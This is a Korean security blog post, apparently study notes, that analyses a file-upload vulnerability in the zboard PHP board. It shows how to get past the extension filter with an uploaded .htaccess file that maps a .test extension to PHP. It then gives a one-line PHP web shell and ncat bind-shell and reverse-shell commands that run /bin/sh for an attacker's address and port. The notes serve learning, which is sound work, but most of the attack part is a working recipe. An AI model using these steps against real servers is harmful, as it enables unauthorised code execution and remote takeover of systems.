-
[웹보안] zboard 취약점 분석 (서버측언어) - 파일업로드보안/웹보안 2017. 5. 29. 16:52
서버측 언어를 이용한 취약점
- 특정 서버를 타겟으로 한 공격
타겟 : 서버
-서버의 무력화
-루트계정의 탈취
-서버의 데이터 탈취
타겟 : 개인
-개인정보 탈취( 키로거, 모니터링 )
-좀비피시화
타겟 : zboard 상용게시판
언어 : PHP
php 파일을 실행하는 방법
#1 command line 실행하는 방법
php 명령어를 사용해서 실행
#2 웹 브라우저에서 실행하는 방법
URL입력으로 실행
- 웹브라웆에서 접근이 가능해야 한다.
- 실행할 파일이 웹 서버에서 있어야 한다.
>> 출력창에 맞게 실행방법을 선택
zboard 게시판 업로드 기능
[게시글 다운로드]
url이 고스란히 나타났다. >> /zboard/data/naver.png
그럼 if를 출력하는 php코드가 작성된 파일을 업로드해본다.
[test.php] > 생성
<?php
echo `ifconfig`;
?>
...... 단순히 php확장자를 가진 파일을 올릴 수는 없었다.
/zboard/write_ok.php
write_ok.php << 여기서 차단을 하고있었다.
eregi 함수로 필터링 중이다.
*eregi : 취약점이 많이 존재
-헤더, 엑세스, ...
↓
*preg_match : 취약점이 별로없다.
.htaccess ( 로컬설정 파일 )을 이용한 우회 >>파일이 있는 디렉터리에 설정을 적용
[ /etc/httpd/conf.d/php.conf ]
php를 실행하는 확장자는 .php로만 되어있습니다. 이것을 .htaccess파일에 추가해서 업로드합니다.
.htaccess 파일을 만들어서 test.test와 같이 업로드를 합니다.
[ .htaccess ] > 생성
AddHandler php5-script .php .test
AddType text/html .php .test
두개의 파일이 업로드가 되고 나면 test.test가 업로드파일 클릭시 서버의 ip정보를 가져옵니다.
이렇게 코드가 실행되는 것을 확인했으면 php 코드를 통해 원격쉘을 접속할 수 있습니다.
*원격 쉘
#1 웹쉘 ( web shell )
-php로 작성된 쉘
*간단하게 URL에서 명령어를 칠 수있게 작성하면 된다.
<?php
echo `$_GET[cmd]`;
?>
- 파이썬, ncat, telnet, bach .... 중 하나를 통해 따온다.
#2 바인드 쉘 ( bind shell )
-정방향 연결 (강제 포트 오픈)
[ncat]
서버측에 ncat이 설치되어 있을 때
nc.exe파일 사용(서버 포트 오픈)#>ncat -e "/bin/sh" -l -p 10000(공격자 접속)attacker cmd>nc.exe 192.168.6.233 10000공격시작.#3 리버스 쉘 ( reverseee shell )
-역방향 연결 : 방화벽이 강한 서버측에 사용
>> 공격자쪽에서 포트를 열고 공격대상서버에서 내부적으로 공격자로 접속시키는 방법
[ncat / nc.exe]
attacker cmd > nc.exe -l -p <port>
admin linux>ncat -e "/bin/sh" <ip> <port>
>>따로 공부해야할 것
#1 다른 업로드 방법
#2 다른 쉘 탈취 방법
'보안 > 웹보안' 카테고리의 다른 글
[웹보안] zboard 취약점 분석 - SQL Injection (0) 2017.05.30 [웹보안] zboard의 취약점 분석(클라이언트 측) (0) 2017.05.26 [웹보안] 로그인 (0) 2017.05.19 [웹보안] php (0) 2017.05.15